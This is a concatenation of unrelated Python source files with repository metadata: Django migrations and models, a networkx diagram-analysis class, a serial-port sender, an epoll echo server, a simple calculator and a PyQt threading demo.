'output', metavar='PROFILE',
help='The [incr tsdb()] profile to output.'
)
mkprof_parser.add_argument(
'-r', '--relations',
metavar='PATH',
help='The relations file to use for the output profile. If not '
'specified and the --input-profile option is used, the '
'relations file is copied from the input profile.'
)
mkprof_parser.add_argument(
'--skeleton', action='store_true',
help="Output a skeleton (only 'item' and 'relations' files)."
)
mkprof_parser.set_defaults(func=mkprof)
compare_parser = subparsers.add_parser('compare', help='compare two profiles')
compare_parser.add_argument(
'gold', metavar='PROFILE',
help='The gold profile to compare against.'
)
compare_parser.set_defaults(func=compare)
args = parser.parse_args()
logging.basicConfig(level=50-(args.verbosity*10))
main(args)
| [
"[email protected]"
] | ||
a58ca57dffda1205913b527d204e84d18776f6c1 | 92737a24a00eecc186b61e595176c15c1667a45d | /Day3-5.py | ae8cbb9ab854e115df61d963d42c68e9ad602ff5 | [] | no_license | SydneyKao/Python200805 | e22978dc8c847e32b88f6119b7a97bd216392dc8 | e85a12e53d272bc9943fe1adf812c7c547f2dd19 | refs/heads/master | 2022-11-28T19:22:28.401495 | 2020-08-05T08:42:05 | 2020-08-05T08:42:05 | 285,171,012 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 830 | py | while True:
print('1.加法')
print('2.減法')
print('3.乘法')
print('4.除法')
print('5.離開')
a=input('請輸入選項(數字)')
a=int(a)
if a==1:
b=input('輸入被加數')
c=input('輸入加數')
b=int(b)
c=int(c)
d=b+c
print(d)
if a==2:
b=input('輸入被減數')
c=input('輸入減數')
b=int(b)
c=int(c)
d=b-c
print(d)
if a==3:
b=input('輸入被乘數')
c=input('輸入乘數')
b=int(b)
c=int(c)
d=b*c
print(d)
if a==1:
b=input('輸入被除數')
c=input('輸入除數')
b=int(b)
c=int(c)
d=b/c
print(d)
if a==5:
break
| [
"[email protected]"
] | |
a77483c412e7c547d9c8009cb0a197148210767d | 57c6c5c33282b166b88c4cb52771c138ca72685a | /web/about_me/migrations/0006_auto_20180423_1416.py | 8223f2590cb6e5b0b1dce387e89a007506145596 | [] | no_license | nguyentrisinh/minh_portfolio | d1be80fe7be941a81fc82492389af623a7f46cee | 5bca28bf509463350a07fbb25b88a530f76a6541 | refs/heads/master | 2022-12-15T10:38:32.869760 | 2018-06-05T05:48:59 | 2018-06-05T05:48:59 | 130,328,125 | 0 | 0 | null | 2022-12-08T02:07:26 | 2018-04-20T07:46:48 | CSS | UTF-8 | Python | false | false | 1,248 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.12 on 2018-04-23 07:16
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('cms', '0020_old_tree_cleanup'),
('about_me', '0005_auto_20180423_1236'),
]
operations = [
migrations.RemoveField(
model_name='resumeplugin',
name='cmsplugin_ptr',
),
migrations.RemoveField(
model_name='timelineheader',
name='id',
),
migrations.AddField(
model_name='timelineheader',
name='cmsplugin_ptr',
field=models.OneToOneField(auto_created=True, default='2', on_delete=django.db.models.deletion.CASCADE, parent_link=True, primary_key=True, related_name='about_me_timelineheader', serialize=False, to='cms.CMSPlugin'),
preserve_default=False,
),
migrations.AddField(
model_name='timelineheader',
name='order',
field=models.IntegerField(default=1),
preserve_default=False,
),
migrations.DeleteModel(
name='ResumePlugin',
),
]
| [
"[email protected]"
] | |
5836739666be3009def71d833409a87f19098e23 | 5da93fc9aa002111b702da3b7d80ef22f81df72c | /photolouge/library/migrations/0002_albumphotos_seq.py | 0871a5fb61662d1cf66803214f3e94723bb7f8b9 | [] | no_license | pyarun/dj-photo | 5714fd628861e0a039ee489906263a53b037f1b2 | d431eb6b5b7365921e75c19ff80def9339e4dd2c | refs/heads/master | 2021-06-22T06:27:02.493676 | 2017-08-23T02:51:28 | 2017-08-23T02:51:28 | 100,337,506 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 451 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.4 on 2017-08-23 02:18
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('library', '0001_initial'),
]
operations = [
migrations.AddField(
model_name='albumphotos',
name='seq',
field=models.IntegerField(blank=True, null=True),
),
]
| [
"[email protected]"
] | |
e3e0335d0354097cd36c83f3d0301748ab575f15 | 9c9360a8ee033f5b07b0dc319d0fbd07d461b731 | /phi3/d_to_infty/d_to_infty_class.py | a5fbba5f4a277a71e949c659bc8210945b88548d | [] | no_license | batya239/rg-graph | cfe11a2b0f5920455fa4bbfc85867350c5b6833e | f258bde78ff2ae83db016070a85285010ff7aa8a | refs/heads/master | 2021-01-21T14:12:26.110541 | 2015-12-22T14:11:19 | 2015-12-22T14:11:19 | 32,137,689 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 15,077 | py | #! /usr/bin/python
#! encoding: utf8
__author__ = "kirienko"
import graph_state as gs
import networkx as nx
from copy import deepcopy
import graphine, graph_state_config_with_fields
import itertools as it
#import dynamic_diagram_generator
## Filters
connected = graphine.filters.connected
oneIR = graphine.filters.one_irreducible
@graphine.filters.graph_filter
def self_energy(sub_graph_edges, super_graph):
"""
Filter for self-energy subgraphs (with 2 external legs)
"""
if len(sub_graph_edges):
if len([e for e in sub_graph_edges if e.is_external()])==2:
return True
return False
def test(seq,rules):
for comp in rules:
if False in map(lambda (x,y):seq.index(x)<seq.index(y),comp):
return
return seq
def is_significant_subgraph(sg,tv):
"""
Returns True if subgraph 'sg' is significant for time version 'tv',
False otherwise.
Significance means that all nodes of subgraph appear in the time version
sequentially, with no breakage (the order of nodes does not matter).
E.g. for the time version [0,1,2,3,4,5] the subgraph [3,2,4] is significant,
whereas [2,4,5] is not.
"""
for i,v in enumerate(tv):
if v in sg:
if sorted(tv[i:i+len(sg)]) == sg:
return True
else:
return False
class D_to_infty_graph():
def __init__(self,nickel_str):
self.nickel = nickel_str
self.Loops = graph_state_config_with_fields.from_str(self.nickel).loops_count
self.D = self.nx_graph_from_str(nickel_str)
self.U = self.D.to_undirected()
if self.is_zero():
print "Diagram has zero value"
def __str__(self):
return self.nickel
def nx_graph_from_str(self, nickel_str):
"""
Returns networkx MultiGraph object from Nickel string
NB: here we 'forget' about graph_state ancestry
"""
if not ":" in str(nickel_str):
gs_diag = self.static_diag(nickel_str)
edges = [tuple(map(lambda n: n.index, e.nodes)) for e in gs_diag.edges]
ext = [e for e in edges if -1 in e]
ext_index = lambda x: 1-x.index(-1)
g = nx.MultiGraph()
for i,e in enumerate(ext):
edges.remove(e)
edges.append((e[ext_index(e)],-i-1))
g.add_edges_from(edges)
else:
gs_diag = self.dynamic_diag(nickel_str)
edges = [e for e in gs_diag.edges if not e.is_external()]
ext = [e for e in gs_diag.edges if e.is_external()]
g = nx.MultiDiGraph()
for e in edges:
i,j = tuple(map(lambda n: n.index, e.nodes))
g.add_edge(i,j,fields = e.fields)
for k,e in enumerate(ext):
i,j = tuple(map(lambda n: n.index, e.nodes))
g.add_edge(-k-1,j,fields = e.fields)
return g
@staticmethod
def static_diag(diag_from_str):
sc = gs.PropertiesConfig.create()
return sc.graph_state_from_str(diag_from_str)
@staticmethod
def dynamic_diag(diag_from_str):
sc = gs.PropertiesConfig.create(
gs.PropertyKey(name="fields",
is_directed=True,
externalizer=gs.Fields.externalizer()))
return sc.graph_state_from_str(diag_from_str)
@staticmethod
def is_phiphi(fields):
"""
Returns True if array 'fields' contains
at least one of ["aa","dd","ad","da"],
False -- elsewise
"""
return bool(filter(lambda x:x in ["aa","dd","ad","da"],fields))
def get_fields(self,ee):
"""
Returns fields of edges 'ee' in multigraph U.
'ee' is a tuple (node1, node2)
"""
return map(lambda x:str(x.get('fields')),self.U.edge[ee[0]][ee[1]].values())
def find_simple_momenta(self):
"""
Returns pairs (edge,field) where 'edge'
corresponds to simple momentum
"""
ans = set()
counter = 1
edges = set([(e1,e2) for e1,e2 in self.U.edges_iter()])
for e1,e2 in edges:
#print (e1,e2)
if not (e1<0 or e2<0):
fields = [(k,v['fields']) for k,v in self.U.edge[e1][e2].items()]
#print "fields:",fields
for f in fields:
if self.is_phiphi([str(f[1])]):
ans.add(((e1,e2,f[0]),f))
if counter <= self.Loops:
self.U.add_edge(e1,e2,f[0],mom=int("0"*counter+"1"+"0"*(self.Loops-counter),2))
#print "Add mom","0"*counter+"1"+"0"*(Loops-counter)," at",(e1,e2,f[0])
counter += 1
elif e1<0 or e2<0:
self.U.add_edge(e1,e2,0,mom=int("1"+"0"*self.Loops,2))
return list(ans)
def subgraph_simple_momenta(self,gs_subgraph):
"""
:param gs_subgraph: graphine subgraph
:return: list of internal (for this subgraph) momenta, i.g. ['k1','k3']
"""
internal_nodes = [x for x in gs_subgraph.vertices if x>-1]
all_simple_momenta = set([m[0] for m in self.find_simple_momenta()])
subgraph_edges = set(self.U.subgraph(internal_nodes).edges(keys=True))
simple_edges = all_simple_momenta.intersection(subgraph_edges)
return map(lambda x: self.momenta_in_edge(x)[0],simple_edges)
def is_zero(self):
"""
Returns True if diag 'name' has zero value,
False otherwise.
"""
## find simple momenta
self.find_simple_momenta()
## find independent cycles with simple momenta
self.find_cycles()
## copy momenta to undirected graph:
#[[Z[e1][e2][k]['mom'] for k in Z[e1][e2]] for e1,e2 in Z.edges_iter()]
for e1,e2 in self.D.edges_iter():
for k in self.D[e1][e2]:
self.D.add_edge(e1,e2,k,mom=self.U[e1][e2][k]['mom'])
## find 'bridges'
for i in xrange(len(self.D.nodes())-2):
self.flow_near_node(i)
self.U = self.D.to_undirected()
## test bridges over cycles
self.bridges = self.find_bridges()
for b in self.bridges:
test = map(lambda x: int(self.flow_near_node(x),2),b)
if not test[0] & test[1]:
return True
return False
def find_cycles(self):
"""
Black magic explained:
Here we go through the internal nodes (= all nodes except 2) and
search for such ones that have TWO [of 3] edges with
the property 'mom[entum]' defined. Then we can define 'mom' on the third edge
as mom3 = mom1 XOR mom2
In the end 'mom' is defined on the every edge.
"""
# nodp = number of defined properties in each node:
nodp = [sum([sum(map(len,v.values())) for v in self.U[i].values()]) for i in range(len(self.U.node)-2)]
while 5 in nodp:
## 5 means that such a node has 2 of 3 edges with 'mom' defined
cur_node = nodp.index(5)
#print "Current node:",cur_node
mom_map = [(k,map(len,v.values())) for k,v in self.U[cur_node].items()]
#print "mom_map =",mom_map
for elem in mom_map:
if 1 in elem[1] :# 1 means that 'mom' is undefined for such an edge
#print "from_node = %d, to_node = %d"%(cur_node,elem[0])
#print self.U[cur_node][elem[0]]
## edges with already defined 'mom's
m = list(set(self.U[cur_node].keys())-set([elem[0]]))
#print "m =",m
if len(m) == 2:
mom1 = self.U[cur_node][m[0]].values()[0]['mom']
mom2 = self.U[cur_node][m[1]].values()[0]['mom']
elif len(m) == 1 and (len(mom_map)>2 or sum(elem[1])>1): # <-- 'mom' is already defined at
m = self.U[cur_node].keys() # one of two edges between 'from-to' nodes
#print "new m =",m
line_num_1 = [k for k,v in self.U[cur_node][m[0]].items() if 'mom' in v.keys()][0]
line_num_2 = [k for k,v in self.U[cur_node][m[1]].items() if 'mom' in v.keys()][0]
mom1 = self.U[cur_node][m[0]].values()[line_num_1]['mom']
mom2 = self.U[cur_node][m[1]].values()[line_num_2]['mom']
elif len(m) == 1 and len(mom_map)==2 and sum(elem[1])==1:# <-- 'mom's are already defined at
# two edges between the same nodes
mom1 = self.U[cur_node][m[0]][0]['mom']
mom2 = self.U[cur_node][m[0]][1]['mom']
else:
raise
line_num = map(len,self.U[cur_node][elem[0]].values()).index(1)
#print "\tmom1 =",mom1,",\tmom2 =",mom2,",\tmom1^mom2 =",bin(mom1^mom2)
self.U.add_edge(cur_node,elem[0],line_num,mom=mom1^mom2)
nodp = [sum([sum(map(len,v.values())) for v in self.U[i].values()]) for i in range(len(self.U.node)-2)]
return
def find_bridges(self):
"""
Returns pairs of nodes that are connected by bridges:
[(0,1),(2,3),(4,5)]
"""
fields = lambda x: self.U[x[0]][x[1]][x[2]]['fields']
bridges = []
for i in xrange(len(self.U.nodes())-2):
# print "\ni = %d"%i
cur_edge = (i,self.U.node[i]['dot'][0],self.U.node[i]['dot'][1])
# print "Current edge:", cur_edge
bridges += [[cur_edge]]
if str(fields(cur_edge)) == 'dd':
continue
while True:
next_node = cur_edge[1]
#print "next node: %d"%next_node
next_lines= deepcopy(self.U[next_node])
#print "next lines:",next_lines
next_lines[cur_edge[0]].pop(cur_edge[2])
dot = self.U.node[next_node]['dot']
next_lines[dot[0]].pop(dot[1])
for (k,v) in next_lines.items():
if len(v) == 0:
next_lines.pop(k)
#print "next lines:",next_lines
nce1 = next_lines.keys()[0]
nce2 = next_lines[nce1].keys()[0]
cur_edge = (next_node,nce1,nce2)
bridges[-1] += [cur_edge]
if 'd' in str(fields(cur_edge)):
break
bridge_set = set()
# print "bridges:", bridges
for b in bridges:
bridge_set.add(tuple(sorted([b[0][0],b[-1][1]])))
return list(bridge_set)
def flow_near_node(self,node):
"""
Returns the number of simple momenta that flows through the node
by the dotted edge (binary string like '0100').
For directed graphs only.
"""
mom = []
pr = self.D.predecessors(node)
for n in pr:
for nn in self.D[n][node]:
if 'd' == self.D[n][node][nn]['fields'][-1]:
self.D.add_node(node,dot = (n,nn))
continue
mom += [self.D[n][node][nn]['mom']]
to_nodes = self.D.successors(node)
for n in to_nodes:
for nn in self.D[node][n]:
if 'd' == self.D[node][n][nn]['fields'][0]:
self.D.add_node(node,dot = (n,nn))
continue
mom += [self.D[node][n][nn]['mom']]
return bin(mom[0] & mom[1])[2:]
def momenta_near_node(self,node):
"""
The same as 'flow_near_node', but returns the list of momenta.
"""
binary_mom = self.flow_near_node(node)
return ["k%d"%j for j,k in enumerate(binary_mom[::-1]) if int(k) and j < self.Loops]
def momenta_in_edge(self,e):
"""
:param G: networkx MultiGraph
:param edge: (e0,e1,e2)
:return: the list of momenta, i.e. ['k0','k2','k3']
"""
mom = self.U[e[0]][e[1]][e[2]]['mom']
return ["k%d"%j for j,k in enumerate(bin(mom)[:1:-1]) if int(k) and j < self.Loops]
def get_time_versions(self):
"""
Returns all time versions of a graph G with Nickel representation 'nickel_str',
along with all significant subgraphs that correspond every time version:
>>> z = D_to_infty_graph("e12|e3|34|5|55||:0A_dd_aA|0a_Aa|dd_aA|Aa|aA_dd||")
>>> z.get_time_versions()
[([0, 2, 4, 5, 3, 1], [e11|e|:0A_aA_dd|0a|, e12|e3|33||:0A_dd_aA|0a_Aa|aA_dd||])]
Also creates self.tv = self.get_time_versions()
Directed edges in our diagram form directed acyclic graph (DAG) with a root 'root'.
"""
T = nx.DiGraph()
for e1 in self.U.edge:
for e2 in self.D.edge[e1]:
for k in self.D[e1][e2]:
if 'A' in self.D[e1][e2][k]['fields']:
idx = str(self.D[e1][e2][k]['fields']).index('A')
from_node = (e1,e2)[1-idx]
to_node = (e1,e2)[idx]
T.add_edge(from_node,to_node)
## Find all self-energy subgraphs
G = graph_state_config_with_fields.from_str(self.nickel)
subgraphs = [x for x in G.x_relevant_sub_graphs(filters=connected+oneIR+self_energy)]
sg_nodes = [sorted([v for v in sg.vertices if v>0]) for sg in subgraphs]
## Find the root of DAG:
root = [i for i in T.node if T.in_degree(i) == 0][0]
if root < 0:
T.remove_node(root)
root = [i for i in T.node if T.in_degree(i) == 0][0]
## Nodes of DAG:
nodes = list(set(T.nodes())-set([root]))
## Leaves of DAG:
leaves = [l for l in T.nodes() if T.out_degree(l)==0]
## Find all paths from root to every leaf:
paths = []
for i in leaves:
paths += [i for i in nx.algorithms.all_simple_paths(T,root,i)]
## Comparison rules for every two nodes that define whether
## time version is correct:
test_cmp = [[i for i in it.combinations(p,2)] for p in paths]
## Find all possible permutations of nodes
perm = [[root]+list(i) for i in it.permutations(nodes,len(nodes))]
## Apply the rules of comparison
vers = []
for p in perm:
ver = test(p,test_cmp)
if ver:
## Test if subgraph is significant for this time version
vers += [(ver,\
[subgraphs[i] for i, sg in enumerate(sg_nodes) if
is_significant_subgraph(sg,ver)
and '0A' in str(subgraphs[i])
and '0a' in str(subgraphs[i])])]
self.tv = vers
return vers | [
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] | |
5d53832526d8e829cafcc12e480ba46b812e9761 | b1f8d5dadf805a61faf17e751c1865e8c40f841d | /data_tx.py | b9e3cca33f0a783db351d3849ee6784588d409ec | [] | no_license | bllgg/FPGA-based-CBC-encryptor-and-decryptor | dfb6131a0af75c358dc3a7581f634b475ed07d0a | dd4931846f8423a74758e2a160c23b99971e3407 | refs/heads/master | 2022-12-21T13:55:37.255521 | 2020-09-22T10:01:14 | 2020-09-22T10:01:14 | 257,053,358 | 0 | 0 | null | 2020-04-19T16:54:20 | 2020-04-19T16:54:19 | null | UTF-8 | Python | false | false | 1,301 | py | import serial
import csv
ser = serial.Serial('COM4', 9600, serial.EIGHTBITS, serial.PARITY_NONE, serial.STOPBITS_ONE)
# Enter the port and baudrate correctly
b_array = []
for i in range(128):
b_array.append(i)
# b_array = [170, 186, 139, 136, 200, 220, 173, 170, 42, 50, 131, 136, 72, 84, 165, 170, 171, 171, 155, 136, 201, 205, 189,
# 170, 43, 35, 147, 136, 73, 69, 181, 170, 168, 152, 171, 136, 202, 254, 141, 170, 40, 16, 163, 136, 74, 118, 133,
# 170, 169, 137, 187, 136, 203, 239, 157, 170, 41, 1, 179, 136, 75, 103, 149, 170, 174, 254, 203, 136, 204, 152,
# 237, 170, 46, 118, 195, 136, 76, 16, 229, 170, 175, 239, 219, 136, 205, 137, 253, 170, 47, 103, 211, 136, 77, 1,
# 245, 170, 172, 220, 235, 136, 206, 186, 205, 170, 44, 84, 227, 136, 78, 50, 197, 170, 173, 205, 251, 136, 207, 171,
# 221, 170, 45, 69, 243, 136, 79, 35, 213, 0]
#print (type(b_array))
values = bytearray(b_array)
#print (values)
ser.write(values)
carray =[]
oarray = []
for i in range(128):
cur_byte=ser.read()
carray.append(hex(ord(cur_byte)))
oarray.append(ord(cur_byte))
#print (ord(cur_byte),)
print (carray)
print (oarray)
with open("byte_array.csv", 'w') as myfile:
wr = csv.writer(myfile, quoting=csv.QUOTE_ALL)
wr.writerow(carray)
| [
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] | |
91fe7628daea821faeaca159fbb7c1edc85ca7c1 | a318ff21e5688b31746822ab87e492cacabbbc33 | /UnittestPackage/Test_Suite_demo.py | 605e4e1635a85ea7b20c3ea044ce1657c185544f | [] | no_license | vaitheeshwaran/Selenium_Exercise | 5302db5ac40def815eca26c2d7811847f49c1295 | 4b22d807a162dafacfde72ad8b8661b78fa6143e | refs/heads/master | 2022-11-18T04:19:16.915194 | 2020-07-20T15:26:26 | 2020-07-20T15:26:26 | 277,124,763 | 1 | 0 | null | 2020-07-05T13:08:27 | 2020-07-04T14:24:10 | Python | UTF-8 | Python | false | false | 457 | py | import unittest
from UnittestPackage.TestcaseDemo1 import TestCaseDemo1
from UnittestPackage.Testcase2 import TestCaseDemo2
# Get the all testcases from TestcaseDem1 and Testcase2
tc1 = unittest.TestLoader().loadTestsFromTestCase(TestCaseDemo1)
tc2 = unittest.TestLoader().loadTestsFromTestCase(TestCaseDemo2)
# create testsuite for both the testcases class
Reg_test = unittest.TestSuite([tc1, tc2])
unittest.TextTestRunner(verbosity=2).run(Reg_test)
| [
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] | |
492b7b141779215b408ba4101cd7addbbe1fd188 | 77b6b837799a62dc3cd5a76e3c141bc50b7202a3 | /edgeserver.py | ff9283aa7420460a6c64d7cdda4604f6769f5920 | [] | no_license | justinchau92/Multithread-Edge-Select-Servers | 44e80136a1f821d6a0a9c3896e87e81baebbf48e | d841b647ec44c49ccf91ea348a7f411ac23869d5 | refs/heads/master | 2021-09-13T21:54:31.979868 | 2018-05-04T20:15:30 | 2018-05-04T20:15:30 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,350 | py | # -----------------------------------------------------------------------------
# FUNCTION: EDGE EPO server
#
# DATE: January 06, 2017
#
# DESIGNERS: Paul Cabanez, Justin Chau
#
# PROGRAMMERS: Paul Cabanez, Justin Chau
#
# NOTES: receives an echo from the client and rplies back, utilizes edge level trigging
#
#
#
#
#
# ----------------------------------------------------------------------------*/
from Tkinter import *
import socket
import select
import thread
import time
import datetime
import sys
import signal
#list of inputs you need
fields = 'Server IP' , 'Port'
global root
#---------------------------------------------------
# getTime()
# Time function that gives the current time
# returns timeStamp
#---------------------------------------------------
def getTime():
ts = time.time()
timeStamp = datetime.datetime.fromtimestamp(ts).strftime('%Y-%m-%d_%H:%M:%S')
return timeStamp
#---------------------------------------------------
# edgeFunction(hostIP, port)
# General function to run the epoll (edge triggered) server
# hostIP = IP of the server
# port = port number you want to use for the server
#---------------------------------------------------
def edgeFunction(entries):
#variables
bufferSize = 1024
running = True
SentTotal = 0
ReceivedTotal = 0
sSize = 0
rSize = 0
counter = 0
requestCounter = 0
concurrentConnections = 0
connections = {}
#create the server socket
serverSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#non-blocking mode
serverSocket.setblocking(0)
#create epoll
epoll = select.epoll()
address = (entries[0][1].get(), int(entries[1][1].get()))
#add socket to connections
connections.update({serverSocket.fileno(): serverSocket})
#allows a bind to occur for reusedaddr
serverSocket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR,1)
#socket binds
serverSocket.bind(address)
print ("Server is listening for connections\n")
serverSocket.listen(10000)
#read when socket accepts connection
epoll.register(serverSocket.fileno(), select.EPOLLIN | select.EPOLLET)
try:
while running:
#checking epoll for any events
events = epoll.poll(-1)
for fileno, event in events:
if fileno == serverSocket.fileno():
while running:
try:
clientConnection, clientAddress = serverSocket.accept()
counter += 1
if counter > concurrentConnections:
concurrentConnections = counter
connections.update({clientConnection.fileno(): clientConnection})
#set new socket to non blocking
clientConnection.setblocking(0)
#register the epoll
epoll.register(clientConnection.fileno(), select.EPOLLIN | select.EPOLLET)
text_file.write("\n\n" +str(clientAddress) + " connected")
text_file.write("\nNumber of connected clients: " + str(counter))
print (str(clientAddress) + " connected.")
print ("\nNumber of connected clients: " + str(counter))
except socket.error:
break
elif event & select.EPOLLIN:
rSock = connections.get(fileno)
#receieve the data and send it back
try:
data = rSock.recv(bufferSize)
clientAddress, clientSocket = rSock.getpeername()
rSize = len(data)
ReceivedTotal += rSize
sSize = len(data)
SentTotal += sSize
rSock.send(data)
requestCounter += 1
if data == 'quit':
rSock.close()
counter -= 1
print "\nClient " + clientAddress + ":" + str(clientSocket) + " has disconnected"
print "\nNumber of connected clients: " + str(counter)
text_file.write("\n\nClient " + clientAddress + ":" + str(clientSocket) + " has disconnected")
text_file.write("\nNumber of connected clients: " + str(counter))
except socket.error:
pass
except KeyboardInterrupt:
Close(epoll,serverSocket,concurrentConnections, ReceivedTotal, SentTotal, requestCounter)
#----------------------------------------------------------------------------
# Close Function
# Function to turn off the server
#
# epoll = epoll object
# serverSocket = the server socket opened
# counter = number of connections
# ReceivedData = Amount of data received from the clients
# SentData = Amount of data sent back to the clients
# Request Counter = number of request the server got from the client
#-----------------------------------------------------------------------------
def Close(epoll,serverSocket,counter, ReceivedData, SentData, requestCounter):
print ("Shutting down Server...")
epoll.unregister(serverSocket.fileno())
epoll.close()
serverSocket.close()
text_file.write("\n\nMax # of concurrent connections: " + str(counter))
text_file.write("\nTotal # of request: " + str(requestCounter))
text_file.write("\nTotal data received: " + str(ReceivedData))
text_file.write("\nTotal data sent: " + str(SentData))
text_file.close()
sys.exit()
#---------------------------------------------------
# makeform - method to create input box and labels
#
# root - the GUI form
# fields - list of inputs you want i.e (serverip, port)
#-------------------------------------------------
def makeform(root, fields):
entries = []
#for each field create an input
for field in fields:
row = Frame(root)
lab = Label(row, width=15, text = field , anchor ='w')
ent = Entry(row)
ent.config(highlightbackground = "gray")
row.pack(side=TOP, fill=X, padx=5, pady=5)
lab.pack(side=LEFT)
ent.pack(side=RIGHT,expand=YES, fill=X)
entries.append((field,ent))
return entries
if __name__ == '__main__':
#serverIP = '192.168.0.16'#raw_input('Enter your server IP \n')
#port = 2017#int(raw_input('What port would you like to use?\n'))
# Create and initialize the text file with the date in the filename in the logfiles directory
filename = str(getTime()) + "_edgeserverlog.txt"
text_file = open(filename, "w")
root = Tk()
ents = makeform(root,fields)
buttonFrame = Frame(root)
buttonFrame.pack(side=TOP,padx=5,pady=5)
b1 = Button(root, text='Start Server', command=(lambda e=ents: edgeFunction(e)))
b1.pack(in_=buttonFrame , side=LEFT, padx=5,pady=5)
root.title("Edge Triggered Server")
root.mainloop()
| [
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] | |
258f4499779395cfc76b376dd977decdd44810e5 | 9f9d3649fc0bc96fb09ecfc2db5dc0f568d3be07 | /api/models.py | 557489a5ef981026248cfec83f50fa7aeceb49e4 | [] | no_license | mamcjr/api_geral | 3e50f87c92c8db2e83c9af10d6d28a60c9a09265 | 9cd847eeb9d07e1357e40168848642efff5ddedb | refs/heads/main | 2023-02-03T18:34:31.085951 | 2020-12-08T17:21:03 | 2020-12-08T17:21:03 | 319,505,878 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,004 | py | from django.db import models
from .util import estados
# Create your models here.
class Pessoa(models.Model):
"""
Model para controle de pessoas com dados pessoais
"""
class Meta:
db_table = 'pessoa'
nome = models.CharField(max_length=200)
cpf = models.CharField(max_length=11)
email = models.CharField(max_length=100)
endereco = models.ForeignKey('Endereco', on_delete=models.CASCADE)
foto = models.FileField(blank=True, null=True)
def __unicode__(self):
return self.nome
class Endereco(models.Model):
"""
Model para Controle de Endereços
"""
class Meta:
db_table = 'endereco'
rua = models.CharField(max_length=100)
numero = models.CharField(max_length=8)
complemento = models.CharField(max_length=30)
bairro = models.CharField(max_length=30)
cidade = models.IntegerField()
uf = models.CharField(max_length=2,choices=estados.STATE_CHOICES)
def __unicode__(self):
return self.rua | [
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] | |
5fdca1d0cca376cca9c4c059d9387c611e7a8640 | 3a753d66b764ca30e7c1dea8e108eb1311c6d0ac | /backend/migrations/0001_initial.py | 95f599bd8594e5ca387b82e6fec76bee6f064c1e | [] | no_license | 964666897/Axepanda | 6f2369958b485b232f8847620d0f1a9babbae149 | 9db4d8c7913e4e45f570f500ad807cf198e93478 | refs/heads/master | 2020-07-31T19:53:51.757817 | 2019-09-24T09:54:13 | 2019-09-24T09:54:13 | 210,736,142 | 0 | 0 | null | 2019-09-25T02:12:58 | 2019-09-25T02:12:57 | null | UTF-8 | Python | false | false | 893 | py | # Generated by Django 2.2.2 on 2019-09-20 16:01
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='ExcelFile',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('filename', models.CharField(blank=True, max_length=20, null=True, verbose_name='文件名')),
('path', models.CharField(blank=True, max_length=108, null=True, verbose_name='文件路径')),
('size', models.CharField(blank=True, max_length=64, null=True, verbose_name='第1环')),
],
options={
'verbose_name': '文件表',
'verbose_name_plural': '文件表',
},
),
]
| [
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] | |
1540008bd512df1f4b3938a7d85cbb0985073417 | 1e0ceb6b12f7ae2fc95208b36e9ebf0f48fb0fa7 | /testfile.py | b3ee501a1fd720c812a3dca699aeb2b0263da495 | [] | no_license | zenstamon/zenstamon | d1d4f76716a7248a9210dc89f6c41dc4e96ded30 | 1c0e7194ad99fccae6b71c73684d6944bc6b9423 | refs/heads/master | 2016-08-04T04:27:10.985872 | 2012-11-27T15:28:20 | 2012-11-27T15:28:20 | 6,599,492 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,575 | py | __author__ = 'c0stos3'
#! /usr/bin/python
# -*- coding : utf-8 -*-
from PyQt4 import QtGui, QtCore
import time, sys
gui = QtGui.QApplication.processEvents #a function we use to make sure that the gui wont freeze
class display():#first we make a class that handle the gui object
texttoset = ""
app = QtGui.QApplication(sys.argv) #we make a QT Application object
dialog = QtGui.QDialog() #we make a dialog object
dialog.resize(200, 150) #set size
dialog.setMaximumSize(200, 150) #set maximum size
dialog.setMinimumSize(200, 150) #set minimum size
dialog.setWindowTitle("new dialog") #set title
label = QtGui.QLabel(dialog) #make a label object child of dialog
label.setText("am a text label") #set label text
label.setGeometry(1, 20, 200, 50)#set geometry x,y,width,high
button = QtGui.QPushButton(dialog)#now we make a button object
button.setText("click me !")#set its text
button.setGeometry(1, 60, 200, 50)#set geometry
def changetext(self, value):#we make a function that change the label text
if value == True:
text = str(self.texttoset)#to make sure it will be a string
self.label.setText(text)#set the text
ui = display()#we make an object from the display class
#now it is time to make a QThread class
class mythread(QtCore.QThread):#inherite from QtCore.QThread
#this thread will change the text 10 times from "i have changed by a QThread" to "back all over again for the x time" then when finished changes text to "QThread has finished"
def __init__(self):
QtCore.QThread.__init__(self)#we construct the class
def run(self):#built in function contain the code that the thread will excute
x = 0
while x <= 10:
s = str(x)
display.texttoset = "i have changed by a QThread"#set the text wich the changetext function will display
self.emit(QtCore.SIGNAL("anysignalname(bool)"),
True) #we send the signal called "anysignalname" and send a bool argument
time.sleep(1)#sleep for 1 sec
gui()#refresh the gui
display.texttoset = "back all over again for " + s + " time"#set the text wich the changetext function will display
self.emit(QtCore.SIGNAL("anysignalname(bool)"),
True) #we send the signal called "anysignalname" and send a bool argument
time.sleep(1)#sleep for 1 sec
gui()#refresh the gui
x = x + 1 #increase x value
display.texttoset = "QThread has finished!!"#set the text wich the changetext function will display
self.emit(QtCore.SIGNAL("anysignalname(bool)"),
True) #we send the signal called "anysignalname" and send a bool argument
time.sleep(1)#sleep for 1 sec
gui()#refresh the gui
thread1 = mythread()#we make a thread object
def start():
thread1.start()
def connecter():#a function that will connect signals
QtCore.QObject.connect(ui.button, QtCore.SIGNAL("clicked()"),
start)#connect the button when clicked with the start function
QtCore.QObject.connect(thread1, QtCore.SIGNAL("anysignalname(bool)"),
ui.changetext)#connect the thread1 object with the changetext function with the "anysignalname" signal that sends a bool value
ui.dialog.show()#show the dialog
connecter()#connect signals
